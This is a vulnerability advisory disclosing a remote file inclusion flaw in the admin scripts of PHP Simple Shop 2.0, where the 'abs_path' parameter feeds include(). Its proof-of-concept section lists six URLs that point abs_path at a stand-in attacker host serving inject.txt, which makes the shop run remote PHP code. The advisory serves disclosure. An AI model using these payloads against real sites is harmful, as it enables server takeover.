Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Simple Shop

Application	: PHP Simple Shop
version		: Latest version [2.0]
URL		: http://www.turnkeywebtools.com/phpsimpleshop

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

In folder admin we found vulnerability script index.php
---------------------------index.php---------------------------------------
....
<?PHP
/*
  index.php - $DATE$ - $TIME$ - $VERSION$
  
  PHP Simple Shop
  http://www.turnkeywebtools.com/phpsimpleshop/
  
  Copyright (c) 2001-2005 Turnkey Web Tools, Inc.
*/

if (isset($abs_path) && $abs_path != "") {
    include $abs_path."admin/adminglobal.php";
} else {
    include "./adminglobal.php";
} 
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

adminindex.php
adminglobal.php
login.php
menu.php
header.php

Proof Of Concept:
~~~~~~~~~~~~~~

http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~
- Sanitize variable $abs_path on affected files.

Notification:
~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, 
but instead of giving  a nice response, he replied so rudely and arrogantly. 
I recommend not to use this product for your own sake.
